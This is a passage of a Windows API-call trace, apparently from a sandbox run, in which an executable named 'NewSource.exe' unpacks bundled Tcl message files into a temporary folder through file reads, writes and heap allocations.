(hFile=0x10c) returned 0x1 [0037.308] htonl (hostlong=0x84565700) returned 0x575684 [0037.308] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5c0684, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0037.308] htonl (hostlong=0x78010000) returned 0x178 [0037.308] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x178) returned 0x550600 [0037.308] htonl (hostlong=0x78010000) returned 0x178 [0037.308] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0037.308] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0037.308] htonl (hostlong=0xb6040000) returned 0x4b6 [0037.308] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x4b6) returned 0x550780 [0037.308] htonl (hostlong=0x78010000) returned 0x178 [0037.308] htonl (hostlong=0xb6040000) returned 0x4b6 [0037.308] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x560088 [0037.309] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0037.309] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0037.309] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0037.309] CloseHandle (hObject=0x10c) returned 1 [0037.309] GetLastError () returned 0x0 [0037.309] SetLastError (dwErrCode=0x0) [0037.309] GetLastError () returned 0x0 [0037.309] SetLastError (dwErrCode=0x0) [0037.309] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0037.309] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0037.309] GetFileType (hFile=0x10c) returned 0x1 [0037.309] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0037.309] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0037.309] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0037.309] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0037.309] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.309] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.309] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.309] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.309] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0037.309] CloseHandle (hObject=0x10c) returned 1 [0037.309] GetLastError () returned 0x0 [0037.309] SetLastError (dwErrCode=0x0) [0037.309] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs") returned 54 [0037.309] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0037.310] GetFileType (hFile=0x10c) returned 0x1 [0037.310] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0037.310] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0037.310] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0037.310] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0037.310] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.310] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.310] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.310] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.310] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0037.310] CloseHandle (hObject=0x10c) returned 1 [0037.310] GetLastError () returned 0x0 [0037.310] SetLastError (dwErrCode=0x0) [0037.310] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\et.msg") returned 61 [0037.310] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\et.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs\\et.msg"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0037.310] GetLastError () returned 0x2 [0037.310] SetLastError (dwErrCode=0x2) [0037.310] GetLastError () returned 0x2 [0037.310] SetLastError (dwErrCode=0x2) [0037.310] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\et.msg", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\et.msg", lpFilePart=0x0) returned 0x3c [0037.310] GetLastError () returned 0x2 [0037.310] SetLastError (dwErrCode=0x2) [0037.310] GetLastError () returned 0x2 [0037.310] SetLastError (dwErrCode=0x2) [0037.310] GetLastError () returned 0x2 [0037.310] SetLastError (dwErrCode=0x2) [0037.310] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\et.msg") returned 61 [0037.311] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0037.311] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\et.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs\\et.msg"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0037.311] GetFileType (hFile=0x10c) returned 0x1 [0037.311] htonl (hostlong=0xb6040000) returned 0x4b6 [0037.311] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0037.311] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0x4b6, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0x4b6, lpOverlapped=0x0) returned 1 [0037.312] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0037.312] CloseHandle (hObject=0x10c) returned 1 [0037.313] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550780 | out: hHeap=0x530000) returned 1 [0037.313] htonl (hostlong=0x30000000) returned 0x30 [0037.313] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0037.313] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0037.313] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0037.313] GetFileType (hFile=0x10c) returned 0x1 [0037.313] htonl (hostlong=0xfc575700) returned 0x5757fc [0037.313] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5c07fc, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0037.313] htonl (hostlong=0x25010000) returned 0x125 [0037.313] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x125) returned 0x550600 [0037.313] htonl (hostlong=0x25010000) returned 0x125 [0037.314] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0037.314] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0037.314] htonl (hostlong=0xd9030000) returned 0x3d9 [0037.314] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x3d9) returned 0x550730 [0037.314] htonl (hostlong=0x25010000) returned 0x125 [0037.314] htonl (hostlong=0xd9030000) returned 0x3d9 [0037.314] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x560088 [0037.314] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0037.314] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0037.314] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0037.314] CloseHandle (hObject=0x10c) returned 1 [0037.314] GetLastError () returned 0x0 [0037.314] SetLastError (dwErrCode=0x0) [0037.314] GetLastError () returned 0x0 [0037.314] SetLastError (dwErrCode=0x0) [0037.314] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0037.314] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0037.314] GetFileType (hFile=0x10c) returned 0x1 [0037.314] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0037.314] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0037.315] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0037.315] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0037.315] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.315] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.315] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.315] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.315] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0037.315] CloseHandle (hObject=0x10c) returned 1 [0037.315] GetLastError () returned 0x0 [0037.315] SetLastError (dwErrCode=0x0) [0037.315] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs") returned 54 [0037.315] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0037.315] GetFileType (hFile=0x10c) returned 0x1 [0037.315] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0037.315] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0037.315] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0037.315] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0037.315] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.315] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.315] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.315] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.315] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0037.315] CloseHandle (hObject=0x10c) returned 1 [0037.316] GetLastError () returned 0x0 [0037.316] SetLastError (dwErrCode=0x0) [0037.316] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\eu.msg") returned 61 [0037.316] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\eu.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs\\eu.msg"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0037.316] GetLastError () returned 0x2 [0037.316] SetLastError (dwErrCode=0x2) [0037.316] GetLastError () returned 0x2 [0037.316] SetLastError (dwErrCode=0x2) [0037.316] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\eu.msg", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\eu.msg", lpFilePart=0x0) returned 0x3c [0037.316] GetLastError () returned 0x2 [0037.316] SetLastError (dwErrCode=0x2) [0037.316] GetLastError () returned 0x2 [0037.316] SetLastError (dwErrCode=0x2) [0037.316] GetLastError () returned 0x2 [0037.316] SetLastError (dwErrCode=0x2) [0037.316] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\eu.msg") returned 61 [0037.316] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0037.316] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\eu.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs\\eu.msg"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0037.316] GetFileType (hFile=0x10c) returned 0x1 [0037.316] htonl (hostlong=0xd9030000) returned 0x3d9 [0037.316] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0037.316] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0x3d9, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0x3d9, lpOverlapped=0x0) returned 1 [0037.317] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0037.317] CloseHandle (hObject=0x10c) returned 1 [0037.318] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550730 | out: hHeap=0x530000) returned 1 [0037.318] htonl (hostlong=0x30000000) returned 0x30 [0037.318] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0037.318] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0037.318] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0037.318] GetFileType (hFile=0x10c) returned 0x1 [0037.318] htonl (hostlong=0x21595700) returned 0x575921 [0037.318] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5c0921, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0037.318] htonl (hostlong=0xa5000000) returned 0xa5 [0037.319] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xa5) returned 0x544f10 [0037.319] htonl (hostlong=0xa5000000) returned 0xa5 [0037.319] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0037.319] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0037.319] htonl (hostlong=0x1f010000) returned 0x11f [0037.319] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x11f) returned 0x550600 [0037.319] htonl (hostlong=0xa5000000) returned 0xa5 [0037.319] htonl (hostlong=0x1f010000) returned 0x11f [0037.319] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x560088 [0037.319] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0037.319] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x544f10 | out: hHeap=0x530000) returned 1 [0037.319] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0037.319] CloseHandle (hObject=0x10c) returned 1 [0037.319] GetLastError () returned 0x0 [0037.319] SetLastError (dwErrCode=0x0) [0037.319] GetLastError () returned 0x0 [0037.319] SetLastError (dwErrCode=0x0) [0037.319] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0037.319] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0037.319] GetFileType (hFile=0x10c) returned 0x1 [0037.319] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0037.319] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0037.319] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0037.319] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0037.319] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.319] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.319] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.320] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.320] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0037.320] CloseHandle (hObject=0x10c) returned 1 [0037.320] GetLastError () returned 0x0 [0037.320] SetLastError (dwErrCode=0x0) [0037.320] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs") returned 54 [0037.320] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0037.320] GetFileType (hFile=0x10c) returned 0x1 [0037.320] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0037.320] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0037.320] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0037.320] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0037.320] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.320] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.320] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.320] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.320] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0037.320] CloseHandle (hObject=0x10c) returned 1 [0037.320] GetLastError () returned 0x0 [0037.320] SetLastError 